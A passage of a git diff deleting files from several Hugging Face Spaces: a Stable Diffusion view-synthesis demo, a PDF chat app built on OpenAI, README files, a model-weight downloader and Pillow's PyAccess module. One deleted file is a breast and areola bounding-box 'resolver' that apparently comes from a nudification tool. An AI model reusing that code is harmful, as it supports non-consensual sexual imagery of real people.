ldm.models.diffusion.ddim import DDIMSampler -from omegaconf import OmegaConf -from PIL import Image -from torch import autocast -from torchvision import transforms -from ldm.util import load_and_preprocess, instantiate_from_config - -def load_model_from_config(config, ckpt, device, verbose=False): - print(f"Loading model from {ckpt}") - pl_sd = torch.load(ckpt, map_location=device) - if "global_step" in pl_sd: - print(f"Global Step: {pl_sd['global_step']}") - sd = pl_sd["state_dict"] - model = instantiate_from_config(config.model) - m, u = model.load_state_dict(sd, strict=False) - if len(m) > 0 and verbose: - print("missing keys:") - print(m) - if len(u) > 0 and verbose: - print("unexpected keys:") - print(u) - - model.to(device) - model.eval() - return model - -@torch.no_grad() -def sample_model(input_im, model, sampler, precision, h, w, ddim_steps, n_samples, scale, \ - ddim_eta, x, y, z): - precision_scope = autocast if precision=="autocast" else nullcontext - with precision_scope("cuda"): - with model.ema_scope(): - c = model.get_learned_conditioning(input_im).tile(n_samples,1,1) - T = torch.tensor([math.radians(x), math.sin(math.radians(y)), math.cos(math.radians(y)), z]) - T = T[None, None, :].repeat(n_samples, 1, 1).to(c.device) - c = torch.cat([c, T], dim=-1) - c = model.cc_projection(c) - cond = {} - cond['c_crossattn'] = [c] - c_concat = model.encode_first_stage((input_im.to(c.device))).mode().detach() - cond['c_concat'] = [model.encode_first_stage((input_im.to(c.device))).mode().detach()\ - .repeat(n_samples, 1, 1, 1)] - if scale != 1.0: - uc = {} - uc['c_concat'] = [torch.zeros(n_samples, 4, h // 8, w // 8).to(c.device)] - uc['c_crossattn'] = [torch.zeros_like(c).to(c.device)] - else: - uc = None - - shape = [4, h // 8, w // 8] - samples_ddim, _ = sampler.sample(S=ddim_steps, - conditioning=cond, - batch_size=n_samples, - shape=shape, - verbose=False, - unconditional_guidance_scale=scale, - unconditional_conditioning=uc, - eta=ddim_eta, - x_T=None) - print(samples_ddim.shape) - # samples_ddim = torch.nn.functional.interpolate(samples_ddim, 64, mode='nearest', antialias=False) - x_samples_ddim = model.decode_first_stage(samples_ddim) - return torch.clamp((x_samples_ddim + 1.0) / 2.0, min=0.0, max=1.0).cpu() - - -def main( - model, - device, - input_im, - x=0., - y=0., - z=0., - scale=3.0, - n_samples=4, - ddim_steps=50, - preprocess=True, - ddim_eta=1.0, - precision="fp32", - h=256, - w=256, - ): - # input_im[input_im == [0., 0., 0.]] = [1., 1., 1., 1.] - print(input_im.size) - if preprocess: - input_im = load_and_preprocess(input_im) - else: - input_im = input_im.resize([256, 256], Image.Resampling.LANCZOS) - input_im = np.asarray(input_im, dtype=np.float32) / 255. - input_im[input_im[:, :, -1] <= 0.9] = [1., 1., 1., 1.] # very important, thresholding background - input_im = input_im[:, :, :3] - print(input_im.shape) - input_im = transforms.ToTensor()(input_im).unsqueeze(0).to(device) - input_im = input_im * 2 - 1 - input_im = transforms.functional.resize(input_im, [h, w]) - - sampler = DDIMSampler(model) - - x_samples_ddim = sample_model(input_im, model, sampler, precision, h, w,\ - ddim_steps, n_samples, scale, ddim_eta, x, y, z) - output_ims = [] - for x_sample in x_samples_ddim: - x_sample = 255. * rearrange(x_sample.cpu().numpy(), 'c h w -> h w c') - output_ims.append(Image.fromarray(x_sample.astype(np.uint8))) - return output_ims - - -description = \ -"""Generate variations on an input image using a fine-tuned version of Stable Diffision. -Trained by [Justin Pinkney](https://www.justinpinkney.com) ([@Buntworthy](https://twitter.com/Buntworthy)) at [Lambda](https://lambdalabs.com/) -__Get the [code](https://github.com/justinpinkney/stable-diffusion) and [model](https://huggingface.co/lambdalabs/stable-diffusion-image-conditioned).__ -![](https://raw.githubusercontent.com/justinpinkney/stable-diffusion/main/assets/im-vars-thin.jpg) -""" - -article = \ -""" -## How does this work? -The normal Stable Diffusion model is trained to be conditioned on text input. This version has had the original text encoder (from CLIP) removed, and replaced with -the CLIP _image_ encoder instead. So instead of generating images based a text input, images are generated to match CLIP's embedding of the image. -This creates images which have the same rough style and content, but different details, in particular the composition is generally quite different. -This is a totally different approach to the img2img script of the original Stable Diffusion and gives very different results. -The model was fine tuned on the [LAION aethetics v2 6+ dataset](https://laion.ai/blog/laion-aesthetics/) to accept the new conditioning. -Training was done on 4xA6000 GPUs on [Lambda GPU Cloud](https://lambdalabs.com/service/gpu-cloud). -More details on the method and training will come in a future blog post. -""" - - -def run_demo( - device_idx=0, - ckpt="last.ckpt", - config="configs/sd-objaverse-finetune-c_concat-256.yaml", - ): - - device = f"cuda:{device_idx}" - config = OmegaConf.load(config) - model = load_model_from_config(config, ckpt, device=device) - - inputs = [ - gr.Image(type="pil", image_mode="RGBA"), # shape=[512, 512] - gr.Number(label="polar (between axis z+)"), - gr.Number(label="azimuth (between axis x+)"), - gr.Number(label="z (distance from center)"), - gr.Slider(0, 100, value=3, step=1, label="cfg scale"), - gr.Slider(1, 8, value=4, step=1, label="Number images"), - gr.Slider(5, 200, value=100, step=5, label="steps"), - gr.Checkbox(True, label="image preprocess (background removal and recenter)"), - ] - output = gr.Gallery(label="Generated variations") - output.style(grid=2) - - fn_with_model = partial(main, model, device) - fn_with_model.__name__ = "fn_with_model" - - examples = [ - # ["assets/zero-shot/bear.png", 0, 0, 0, 3, 4, 100], - # ["assets/zero-shot/car.png", 0, 0, 0, 3, 4, 100], - # ["assets/zero-shot/elephant.png", 0, 0, 0, 3, 4, 100], - # ["assets/zero-shot/pikachu.png", 0, 0, 0, 3, 4, 100], - # ["assets/zero-shot/spyro.png", 0, 0, 0, 3, 4, 100], - # ["assets/zero-shot/taxi.png", 0, 0, 0, 3, 4, 100], - ] - - demo = gr.Interface( - fn=fn_with_model, - title="Stable Diffusion Novel View Synthesis (Image)", - # description=description, - # article=article, - inputs=inputs, - outputs=output, - examples=examples, - allow_flagging="never", - ) - demo.launch(enable_queue=True, share=True) - -if __name__ == "__main__": - fire.Fire(run_demo) \ No newline at end of file diff --git a/spaces/daarumadx/bot/src/loader/fs.py b/spaces/daarumadx/bot/src/loader/fs.py deleted file mode 100644 index 25c1b8ddf0f068d575333644a8bc8d4e441d7c50..0000000000000000000000000000000000000000 --- a/spaces/daarumadx/bot/src/loader/fs.py +++ /dev/null @@ -1,24 +0,0 @@ -""" File Sytem Loading """ -import os - -from loader import Loader -from utils import read_image - - -class FSLoader(Loader): - """ File System Loader Class """ - @staticmethod - def load(uri): - """ - Load the file system ressource - :return: image - """ - return read_image(uri) - - @staticmethod - def uri_validator(uri): - """ - Validate the uri is a filesystem file - :return: True is a valid uri - """ - return os.path.exists(uri) diff --git a/spaces/daarumadx/bot/src/transform/opencv/bodypart/resolver.py b/spaces/daarumadx/bot/src/transform/opencv/bodypart/resolver.py deleted file mode 100644 index 5ed296bd4ed7f1d761a2d795d770949ba042e31d..0000000000000000000000000000000000000000 --- a/spaces/daarumadx/bot/src/transform/opencv/bodypart/resolver.py +++ /dev/null @@ -1,165 +0,0 @@ -"""Inference Body problems resolver.""" -import random - -from transform.opencv.bodypart import BodyPart, BoundingBox, Center, Dimension - - -def detect_tit_aur_missing_problem(tits_list, aur_list): - """ - Detect tits aur missing problem. - - ( problem code) - # TIT | AUR | code | SOLVE? | - # 0 | 0 | 1 | NO | - # 0 | 1 | 2 | NO | - # 0 | 2 | 3 | YES | - # 1 | 0 | 4 | NO | - # 1 | 1 | 5 | NO | - # 1 | 2 | 6 | YES | - # 2 | 0 | 7 | YES | - # 2 | 1 | 8 | YES | - - :param tits_list: tits list - :param aur_list: aur list - :return: problem code - """ - return { - (0, 0): 1, - (0, 1): 2, - (0, 2): 3, - (1, 0): 4, - (1, 1): 5, - (1, 2): 6, - (2, 0): 7, - (2, 1): 8, - }.get((len(tits_list), len(aur_list)), -1) - - -def resolve_tit_aur_missing_problems(tits_list, aur_list, problem_code): - """ - Resolve tits missing aur problem. - - :param tits_list: tits list - :param aur_list: aur list - :param problem_code: problem code - :return: None - """ - - def find_l2_width_is_full(l1, l2): - - d1 = abs(l1[0].x - l2[0].x) - d2 = abs(l1[0].x - l2[1].x) - if d1 > d2: - # l1[0] is empty - new_x = l2[0].x - new_y = l2[0].y - else: - # l1[1] is empty - new_x = l2[1].x - new_y = l2[1].y - return new_x, new_y - - def resolve_problem_3(): - random_tit_factor = random.randint(2, 5) # TOTEST - - # Add the first tit: - new_w = aur_list[0].w * random_tit_factor # TOTEST - new_x = aur_list[0].x - new_y = aur_list[0].y - - xmax, xmin, ymax, ymin = BoundingBox.calculate_bounding_box(new_w, new_w, new_x, new_y) - - BodyPart.add_body_part_to_list("tit", BoundingBox(xmin, ymin, xmax, ymax), Center(new_x, new_y), - Dimension(new_w, new_w), tits_list) - - # Add the second tit: - new_w = aur_list[1].w * random_tit_factor # TOTEST - new_x = aur_list[1].x - new_y = aur_list[1].y - - xmax, xmin, ymax, ymin = BoundingBox.calculate_bounding_box(new_w, new_w, new_x, new_y) - - BodyPart.add_body_part_to_list("tit", BoundingBox(xmax, xmin, ymax, ymin), Center(new_x, new_y), - Dimension(new_w, new_w), tits_list) - - def resolve_problem_6(): - # Find width aur is full: - new_x, new_y = find_l2_width_is_full(tits_list, aur_list) - new_w = tits_list[0].w / 2 - - # Calculate Bounding Box: - xmax, xmin, ymax, ymin = BoundingBox.calculate_bounding_box(new_w, new_w, new_x, new_y) - - BodyPart.add_body_part_to_list("tit", BoundingBox(xmin, ymin, xmax, ymax), Center(new_x, new_y), - Dimension(tits_list[0].w, tits_list[0].w), tits_list) - - def resolve_problem_7(): - # Add the first aur: - new_w = tits_list[0].w * random.uniform(0.03, 0.1) # TOTEST - new_x = tits_list[0].x - new_y = tits_list[0].y - - xmax, xmin, ymax, ymin = BoundingBox.calculate_bounding_box(new_w, new_w, new_x, new_y) - - BodyPart.add_body_part_to_list("aur", BoundingBox(xmin, ymin, xmax, ymax), Center(new_x, new_y), - Dimension(new_w, new_w), aur_list) - - # Add the second aur: - new_w = tits_list[1].w * random.uniform(0.03, 0.1) # TOTEST - new_x = tits_list[1].x - new_y = tits_list[1].y - - xmax, xmin, ymax, ymin = BoundingBox.calculate_bounding_box(new_w, new_w, new_x, new_y) - - BodyPart.add_body_part_to_list("aur", BoundingBox(xmin, ymin, xmax, ymax), Center(new_x, new_y), - Dimension(new_w, new_w), aur_list) - - def resolve_problem_8(): - # Find width tit is full - new_x, new_y = find_l2_width_is_full(aur_list, tits_list) - - # Calculate Bounding Box: - xmin = int(new_x - (aur_list[0].w / 2)) - xmax = int(new_x + (aur_list[0].w / 2)) - ymin = int(new_y - (aur_list[0].w / 2)) - ymax = int(new_y + (aur_list[0].w / 2)) - - BodyPart.add_body_part_to_list("aur", BoundingBox(xmin, ymin, xmax, ymax), Center(new_x, new_y), - Dimension(aur_list[0].w, aur_list[0].w), aur_list) - - { - 3: resolve_problem_3, - 6: resolve_problem_6, - 7: resolve_problem_7, - 8: resolve_problem_8, - }.get(problem_code, lambda: None)() - - -def detect_tit_aur_position_problem(tits_list, aur_list): - """ - Detect tits position problem. - - :param tits_list: tits list - :param aur_list: aur list - :return: - """ - - def detect_tits_too_narrow_horizontally(): - diff_tits_x = abs(tits_list[0].x - tits_list[1].x) - return diff_tits_x < 40 - - def detect_tits_too_narrow_vertically(): - diff_tits_y = abs(tits_list[0].y - tits_list[1].y) - return diff_tits_y > 120 - - def detect_tits_too_equal_or_different_width(): - diff_tits_w = abs(tits_list[0].w - tits_list[1].w) - return (diff_tits_w < 0.1) or (diff_tits_w > 60) - - def detect_tits_body_position_is_too_low(): - # Calculate the ratio between y and aurs distance - rapp = aur_list[0].y / (abs(aur_list[0].x - aur_list[1].x)) - return aur_list[0].y > 350 and rapp > 2.8 - - return (detect_tits_too_narrow_horizontally() or detect_tits_too_narrow_vertically() or - detect_tits_too_equal_or_different_width() or detect_tits_body_position_is_too_low) diff --git a/spaces/darthPanda/chatpdf_app/README.md b/spaces/darthPanda/chatpdf_app/README.md deleted file mode 100644 index fcc7b316375980eea87b81efc7bf0b7ab81191e9..0000000000000000000000000000000000000000 --- a/spaces/darthPanda/chatpdf_app/README.md +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: Chatpdf App -emoji: 🦀 -colorFrom: pink -colorTo: green -sdk: streamlit -sdk_version: 1.21.0 -app_file: 👋_Introduction.py -pinned: false ---- - -Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference diff --git a/spaces/datagpt/url2info/README.md b/spaces/datagpt/url2info/README.md deleted file mode 100644 index 21c3cc987d4e33061b6dc35c24758ea3deaf33e6..0000000000000000000000000000000000000000 --- a/spaces/datagpt/url2info/README.md +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: Url2info -emoji: 📊 -colorFrom: purple -colorTo: red -sdk: gradio -sdk_version: 3.27.0 -app_file: app.py -pinned: false -license: gpl-3.0 ---- - -Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference - -[GPT3.5 解释] -这段代码是一个 Gradio 界面，用于从给定的 URL 提取文本，并使用 OpenAI 的 GPT-3 引擎对其进行生成和总结。代码包含以下步骤： - -1. 导入必要的库，包括 Gradio、os、openai、newspaper、json、re 和 transformers。 -2. 定义一个名为 text_prompt 的函数，该函数接受请求、URL、API 密钥和温度等参数，并使用 newspaper 库下载和解析页面内容。如果下载和解析出现错误，则函数返回错误信息。 -3. 使用 GPT2Tokenizer 对页面中的文本进行标记化，以确保在 OpenAI 查询时不超过 2000 个令牌的限制。 -4. 通过 OpenAI API 调用引擎，使用所提供的请求和页面文本作为输入，并输出生成文本。将生成的文本进行清理，以消除不必要的空格，并返回生成的文本、页面文本和令牌数量等信息。 -5. 定义一个 gradio 界面，该界面包含输入和输出字段，以及一些示例，用于向用户展示如何使用该界面。 -6. 如果出现错误，则将错误信息返回到输出字段中。 - -该界面使用户能够输入请求、URL 和 API 密钥，并根据页面内容生成和总结文本。该界面还包括一个滑块，用于控制生成文本的温度。 \ No newline at end of file diff --git a/spaces/dawood/PDFChatGpt/app.py b/spaces/dawood/PDFChatGpt/app.py deleted file mode 100644 index c6ce137717893553f952c5535948a1b44dd88087..0000000000000000000000000000000000000000 --- a/spaces/dawood/PDFChatGpt/app.py +++ /dev/null @@ -1,205 +0,0 @@ -import urllib.request -import fitz -import re -import numpy as np -import tensorflow_hub as hub -import openai -import gradio as gr -import os -from sklearn.neighbors import NearestNeighbors - -def download_pdf(url, output_path): - urllib.request.urlretrieve(url, output_path) - - -def preprocess(text): - text = text.replace('\n', ' ') - text = re.sub('\s+', ' ', text) - return text - - -def pdf_to_text(path, start_page=1, end_page=None): - doc = fitz.open(path) - total_pages = doc.page_count - - if end_page is None: - end_page = total_pages - - text_list = [] - - for i in range(start_page-1, end_page): - text = doc.load_page(i).get_text("text") - text = preprocess(text) - text_list.append(text) - - doc.close() - return text_list - - -def text_to_chunks(texts, word_length=150, start_page=1): - text_toks = [t.split(' ') for t in texts] - page_nums = [] - chunks = [] - - for idx, words in enumerate(text_toks): - for i in range(0, len(words), word_length): - chunk = words[i:i+word_length] - if (i+word_length) > len(words) and (len(chunk) < word_length) and ( - len(text_toks) != (idx+1)): - text_toks[idx+1] = chunk + text_toks[idx+1] - continue - chunk = ' '.join(chunk).strip() - chunk = f'[{idx+start_page}]' + ' ' + '"' + chunk + '"' - chunks.append(chunk) - return chunks - - -class SemanticSearch: - - def __init__(self): - self.use = hub.load('https://tfhub.dev/google/universal-sentence-encoder/4') - self.fitted = False - - - def fit(self, data, batch=1000, n_neighbors=5): - self.data = data - self.embeddings = self.get_text_embedding(data, batch=batch) - n_neighbors = min(n_neighbors, len(self.embeddings)) - self.nn = NearestNeighbors(n_neighbors=n_neighbors) - self.nn.fit(self.embeddings) - self.fitted = True - - - def __call__(self, text, return_data=True): - inp_emb = self.use([text]) - neighbors = self.nn.kneighbors(inp_emb, return_distance=False)[0] - - if return_data: - return [self.data[i] for i in neighbors] - else: - return neighbors - - - def get_text_embedding(self, texts, batch=1000): - embeddings = [] - for i in range(0, len(texts), batch): - text_batch = texts[i:(i+batch)] - emb_batch = self.use(text_batch) - embeddings.append(emb_batch) - embeddings = np.vstack(embeddings) - return embeddings - - - -def load_recommender(path, start_page=1): - global recommender - texts = pdf_to_text(path, start_page=start_page) - chunks = text_to_chunks(texts, start_page=start_page) - recommender.fit(chunks) - return 'Corpus Loaded.' - - -def generate_text(openAI_key,prompt, engine="text-davinci-003"): - openai.api_key = openAI_key - completions = openai.Completion.create( - engine=engine, - prompt=prompt, - max_tokens=512, - n=1, - stop=None, - temperature=0.7, - ) - message = completions.choices[0].text - return message - - -def generate_answer(question,openAI_key): - topn_chunks = recommender(question) - prompt = "" - prompt += 'search results:\n\n' - for c in topn_chunks: - prompt += c + '\n\n' - - prompt += "Instructions: Compose a comprehensive reply to the query using the search results given. "\ - "Cite each reference using [number] notation (every result has this number at the beginning). "\ - "Citation should be done at the end of each sentence. If the search results mention multiple subjects "\ - "with the same name, create separate answers for each. Only include information found in the results and "\ - "don't add any additional information. Make sure the answer is correct and don't output false content. "\ - "If the text does not relate to the query, simply state 'Found Nothing'. Ignore outlier "\ - "search results which has nothing to do with the question. Only answer what is asked. The "\ - "answer should be short and concise.\n\nQuery: {question}\nAnswer: " - - prompt += f"Query: {question}\nAnswer:" - answer = generate_text(openAI_key, prompt,"text-davinci-003") - return answer - - -def question_answer(url, question,openAI_key): - if openAI_key.strip()=='': - return '[ERROR]: Please enter you Open AI Key. Get your key here : https://platform.openai.com/account/api-keys' - if url.strip() != '': - glob_url = url - download_pdf(glob_url, 'corpus.pdf') - load_recommender('corpus.pdf') - - if question.strip() == '': - return '[ERROR]: Question field is empty' - - return generate_answer(question,openAI_key) - - -recommender = SemanticSearch() - -title = 'PDF GPT' -description = """ What is PDF GPT ? -1. The problem is that Open AI has a 4K token limit and cannot take an entire PDF file as input. Additionally, it sometimes returns irrelevant responses due to poor embeddings. ChatGPT cannot directly talk to external data. The solution is PDF GPT, which allows you to chat with an uploaded PDF file using GPT functionalities. The application breaks the document into smaller chunks and generates embeddings using a powerful Deep Averaging Network Encoder. A semantic search is performed on your query, and the top relevant chunks are used to generate a response. -2. The returned response can even cite the page number in square brackets([]) where the information is located, adding credibility to the responses and helping to locate pertinent information quickly. The Responses are much better than the naive responses by Open AI.""" - -with gr.Blocks() as demo: - - gr.Markdown(f'

        {title}

        ') - gr.Markdown(description) - - with gr.Row(): - - with gr.Group(): - gr.Markdown(f'

        Get your Open AI API key here

        ') - openAI_key=gr.Textbox(label='Enter your OpenAI API key here') - url = gr.Textbox(label='Enter PDF URL here') - gr.Markdown("

        OR

        ") - question = gr.Textbox(label='Enter your question here') - btn = gr.Button(value='Submit') - btn.style(full_width=True) - - with gr.Group(): - answer = gr.Textbox(label='The answer to your question is :') - - btn.click(question_answer, inputs=[url, question,openAI_key], outputs=[answer], api_name="ask") -#openai.api_key = os.getenv('Your_Key_Here') -demo.launch() - - -# import streamlit as st - -# #Define the app layout -# st.markdown(f'

        {title}

        ', unsafe_allow_html=True) -# st.markdown(description) - -# col1, col2 = st.columns(2) - -# # Define the inputs in the first column -# with col1: -# url = st.text_input('URL') -# st.markdown("
        or
        ", unsafe_allow_html=True) -# file = st.file_uploader('PDF', type='pdf') -# question = st.text_input('question') -# btn = st.button('Submit') - -# # Define the output in the second column -# with col2: -# answer = st.text_input('answer') - -# # Define the button action -# if btn: -# answer_value = question_answer(url, file, question) -# answer.value = answer_value \ No newline at end of file diff --git a/spaces/dawood/microsoft_windows/README.md b/spaces/dawood/microsoft_windows/README.md deleted file mode 100644 index 23ae2e843fd338173e81fdea75c32750ef33d12f..0000000000000000000000000000000000000000 --- a/spaces/dawood/microsoft_windows/README.md +++ /dev/null @@ -1,17 +0,0 @@ - ---- -tags: [gradio-theme] -title: microsoft_windows -colorFrom: orange -colorTo: purple -sdk: gradio -sdk_version: 3.22.1b1 -app_file: app.py -pinned: false -license: apache-2.0 ---- -# microsoft_windows -## Description -Add a description of this theme here! -## Contributions -Thanks to [@dawood](https://huggingface.co/dawood) for adding this gradio theme! diff --git a/spaces/dawood17/SayBot_Enchancer/CodeFormer/scripts/download_pretrained_models.py b/spaces/dawood17/SayBot_Enchancer/CodeFormer/scripts/download_pretrained_models.py deleted file mode 100644 index daa6e8ca14ea91c89a318e85d9f182eb7d1bf025..0000000000000000000000000000000000000000 --- a/spaces/dawood17/SayBot_Enchancer/CodeFormer/scripts/download_pretrained_models.py +++ /dev/null @@ -1,40 +0,0 @@ -import argparse -import os -from os import path as osp - -from basicsr.utils.download_util import load_file_from_url - - -def download_pretrained_models(method, file_urls): - save_path_root = f'./weights/{method}' - os.makedirs(save_path_root, exist_ok=True) - - for file_name, file_url in file_urls.items(): - save_path = load_file_from_url(url=file_url, model_dir=save_path_root, progress=True, file_name=file_name) - - -if __name__ == '__main__': - parser = argparse.ArgumentParser() - - parser.add_argument( - 'method', - type=str, - help=("Options: 'CodeFormer' 'facelib'. Set to 'all' to download all the models.")) - args = parser.parse_args() - - file_urls = { - 'CodeFormer': { - 'codeformer.pth': 'https://github.com/sczhou/CodeFormer/releases/download/v0.1.0/codeformer.pth' - }, - 'facelib': { - # 'yolov5l-face.pth': 'https://github.com/sczhou/CodeFormer/releases/download/v0.1.0/yolov5l-face.pth', - 'detection_Resnet50_Final.pth': 'https://github.com/sczhou/CodeFormer/releases/download/v0.1.0/detection_Resnet50_Final.pth', - 'parsing_parsenet.pth': 'https://github.com/sczhou/CodeFormer/releases/download/v0.1.0/parsing_parsenet.pth' - } - } - - if args.method == 'all': - for method in file_urls.keys(): - download_pretrained_models(method, file_urls[method]) - else: - download_pretrained_models(args.method, file_urls[args.method]) \ No newline at end of file diff --git a/spaces/dcarpintero/nlp-summarizer-pegasus/.venv/lib/python3.9/site-packages/PIL/PyAccess.py b/spaces/dcarpintero/nlp-summarizer-pegasus/.venv/lib/python3.9/site-packages/PIL/PyAccess.py deleted file mode 100644 index 99b46a4a66c013afc08edf134384e7a1d4dc200a..0000000000000000000000000000000000000000 --- a/spaces/dcarpintero/nlp-summarizer-pegasus/.venv/lib/python3.9/site-packages/PIL/PyAccess.py +++ /dev/null @@ -1,363 +0,0 @@ -# -# The Python Imaging Library -# Pillow fork -# -# Python implementation of the PixelAccess Object -# -# Copyright (c) 1997-2009 by Secret Labs AB. All rights reserved. -# Copyright (c) 1995-2009 by Fredrik Lundh. -# Copyright (c) 2013 Eric Soroos -# -# See the README file for information on usage and redistribution -# - -# Notes: -# -# * Implements the pixel access object following Access.c -# * Taking only the tuple form, which is used from python. -# * Fill.c uses the integer form, but it's still going to use the old -# Access.c implementation. -# - -import logging -import sys - -from ._deprecate import deprecate - -try: - from cffi import FFI - - defs = """ - struct Pixel_RGBA { - unsigned char r,g,b,a; - }; - struct Pixel_I16 { - unsigned char l,r; - }; - """ - ffi = FFI() - ffi.cdef(defs) -except ImportError as ex: - # Allow error import for doc purposes, but error out when accessing - # anything in core. - from ._util import DeferredError - - FFI = ffi = DeferredError(ex) - -logger = logging.getLogger(__name__) - - -class PyAccess: - def __init__(self, img, readonly=False): - deprecate("PyAccess", 11) - vals = dict(img.im.unsafe_ptrs) - self.readonly = readonly - self.image8 = ffi.cast("unsigned char **", vals["image8"]) - self.image32 = ffi.cast("int **", vals["image32"]) - self.image = ffi.cast("unsigned char **", vals["image"]) - self.xsize, self.ysize = img.im.size - self._img = img - - # Keep pointer to im object to prevent dereferencing. - self._im = img.im - if self._im.mode in ("P", "PA"): - self._palette = img.palette - - # Debugging is polluting test traces, only useful here - # when hacking on PyAccess - # logger.debug("%s", vals) - self._post_init() - - def _post_init(self): - pass - - def __setitem__(self, xy, color): - """ - Modifies the pixel at x,y. The color is given as a single - numerical value for single band images, and a tuple for - multi-band images - - :param xy: The pixel coordinate, given as (x, y). See - :ref:`coordinate-system`. - :param color: The pixel value. - """ - if self.readonly: - msg = "Attempt to putpixel a read only image" - raise ValueError(msg) - (x, y) = xy - if x < 0: - x = self.xsize + x - if y < 0: - y = self.ysize + y - (x, y) = self.check_xy((x, y)) - - if ( - self._im.mode in ("P", "PA") - and isinstance(color, (list, tuple)) - and len(color) in [3, 4] - ): - # RGB or RGBA value for a P or PA image - if self._im.mode == "PA": - alpha = color[3] if len(color) == 4 else 255 - color = color[:3] - color = self._palette.getcolor(color, self._img) - if self._im.mode == "PA": - color = (color, alpha) - - return self.set_pixel(x, y, color) - - def __getitem__(self, xy): - """ - Returns the pixel at x,y. The pixel is returned as a single - value for single band images or a tuple for multiple band - images - - :param xy: The pixel coordinate, given as (x, y). See - :ref:`coordinate-system`. - :returns: a pixel value for single band images, a tuple of - pixel values for multiband images. - """ - (x, y) = xy - if x < 0: - x = self.xsize + x - if y < 0: - y = self.ysize + y - (x, y) = self.check_xy((x, y)) - return self.get_pixel(x, y) - - putpixel = __setitem__ - getpixel = __getitem__ - - def check_xy(self, xy): - (x, y) = xy - if not (0 <= x < self.xsize and 0 <= y < self.ysize): - msg = "pixel location out of range" - raise ValueError(msg) - return xy - - -class _PyAccess32_2(PyAccess): - """PA, LA, stored in first and last bytes of a 32 bit word""" - - def _post_init(self, *args, **kwargs): - self.pixels = ffi.cast("struct Pixel_RGBA **", self.image32) - - def get_pixel(self, x, y): - pixel = self.pixels[y][x] - return pixel.r, pixel.a - - def set_pixel(self, x, y, color): - pixel = self.pixels[y][x] - # tuple - pixel.r = min(color[0], 255) - pixel.a = min(color[1], 255) - - -class _PyAccess32_3(PyAccess): - """RGB and friends, stored in the first three bytes of a 32 bit word""" - - def _post_init(self, *args, **kwargs): - self.pixels = ffi.cast("struct Pixel_RGBA **", self.image32) - - def get_pixel(self, x, y): - pixel = self.pixels[y][x] - return pixel.r, pixel.g, pixel.b - - def set_pixel(self, x, y, color): - pixel = self.pixels[y][x] - # tuple - pixel.r = min(color[0], 255) - pixel.g = min(color[1], 255) - pixel.b = min(color[2], 255) - pixel.a = 255 - - -class _PyAccess32_4(PyAccess): - """RGBA etc, all 4 bytes of a 32 bit word""" - - def _post_init(self, *args, **kwargs): - self.pixels = ffi.cast("struct Pixel_RGBA **", self.image32) - - def get_pixel(self, x, y): - pixel = self.pixels[y][x] - return pixel.r, pixel.g, pixel.b, pixel.a - - def set_pixel(self, x, y, color): - pixel = self.pixels[y][x] - # tuple - pixel.r = min(color[0], 255) - pixel.g = min(color[1], 255) - pixel.b = min(color[2], 255) - pixel.a = min(color[3], 255) - - -class _PyAccess8(PyAccess): - """1, L, P, 8 bit images stored as uint8""" - - def _post_init(self, *args, **kwargs): - self.pixels = self.image8 - - def get_pixel(self, x, y): - return self.pixels[y][x] - - def set_pixel(self, x, y, color): - try: - # integer - self.pixels[y][x] = min(color, 255) - except TypeError: - # tuple - self.pixels[y][x] = min(color[0], 255) - - -class _PyAccessI16_N(PyAccess): - """I;16 access, native bitendian without conversion""" - - def _post_init(self, *args, **kwargs): - self.pixels = ffi.cast("unsigned short **", self.image) - - def get_pixel(self, x, y): - return self.pixels[y][x] - - def set_pixel(self, x, y, color): - try: - # integer - self.pixels[y][x] = min(color, 65535) - except TypeError: - # tuple - self.pixels[y][x] = min(color[0], 65535) - - -class _PyAccessI16_L(PyAccess): - """I;16L access, with conversion""" - - def _post_init(self, *args, **kwargs): - self.pixels = ffi.cast("struct Pixel_I16 **", self.image) - - def get_pixel(self, x, y): - pixel = self.pixels[y][x] - return pixel.l + pixel.r * 256 - - def set_pixel(self, x, y, color): - pixel = self.pixels[y][x] - try: - color = min(color, 65535) - except TypeError: - color = min(color[0], 65535) - - pixel.l = color & 0xFF # noqa: E741 - pixel.r = color >> 8 - - -class _PyAccessI16_B(PyAccess): - """I;16B access, with conversion""" - - def _post_init(self, *args, **kwargs): - self.pixels = ffi.cast("struct Pixel_I16 **", self.image) - - def get_pixel(self, x, y): - pixel = self.pixels[y][x] - return pixel.l * 256 + pixel.r - - def set_pixel(self, x, y, color): - pixel = self.pixels[y][x] - try: - color = min(color, 65535) - except Exception: - color = min(color[0], 65535) - - pixel.l = color >> 8 # noqa: E741 - pixel.r = color & 0xFF - - -class _PyAccessI32_N(PyAccess): - """Signed Int32 access, native endian""" - - def _post_init(self, *args, **kwargs): - self.pixels = self.image32 - - def get_pixel(self, x, y): - return self.pixels[y][x] - - def set_pixel(self, x, y, color): - self.pixels[y][x] = color - - -class _PyAccessI32_Swap(PyAccess): - """I;32L/B access, with byteswapping conversion""" - - def _post_init(self, *args, **kwargs): - self.pixels = self.image32 - - def reverse(self, i): - orig = ffi.new("int *", i) - chars = ffi.cast("unsigned char *", orig) - chars[0], chars[1], chars[2], chars[3] = chars[3], chars[2], chars[1], chars[0] - return ffi.cast("int *", chars)[0] - - def get_pixel(self, x, y): - return self.reverse(self.pixels[y][x]) - - def set_pixel(self, x, y, color): - self.pixels[y][x] = self.reverse(color) - - -class _PyAccessF(PyAccess): - """32 bit float access""" - - def _post_init(self, *args, **kwargs): - self.pixels = ffi.cast("float **", self.image32) - - def get_pixel(self, x, y): - return self.pixels[y][x] - - def set_pixel(self, x, y, color): - try: - # not a tuple - self.pixels[y][x] = color - except TypeError: - # tuple - self.pixels[y][x] = color[0] - - -mode_map = { - "1": _PyAccess8, - "L": _PyAccess8, - "P": _PyAccess8, - "I;16N": _PyAccessI16_N, - "LA": _PyAccess32_2, - "La": _PyAccess32_2, - "PA": _PyAccess32_2, - "RGB": _PyAccess32_3, - "LAB": _PyAccess32_3, - "HSV": _PyAccess32_3, - "YCbCr": _PyAccess32_3, - "RGBA": _PyAccess32_4, - "RGBa": _PyAccess32_4, - "RGBX": _PyAccess32_4, - "CMYK": _PyAccess32_4, - "F": _PyAccessF, - "I": _PyAccessI32_N, -} - -if sys.byteorder == "little": - mode_map["I;16"] = _PyAccessI16_N - mode_map["I;16L"] = _PyAccessI16_N - mode_map["I;16B"] = _PyAccessI16_B - - mode_map["I;32L"] = _PyAccessI32_N - mode_map["I;32B"] = 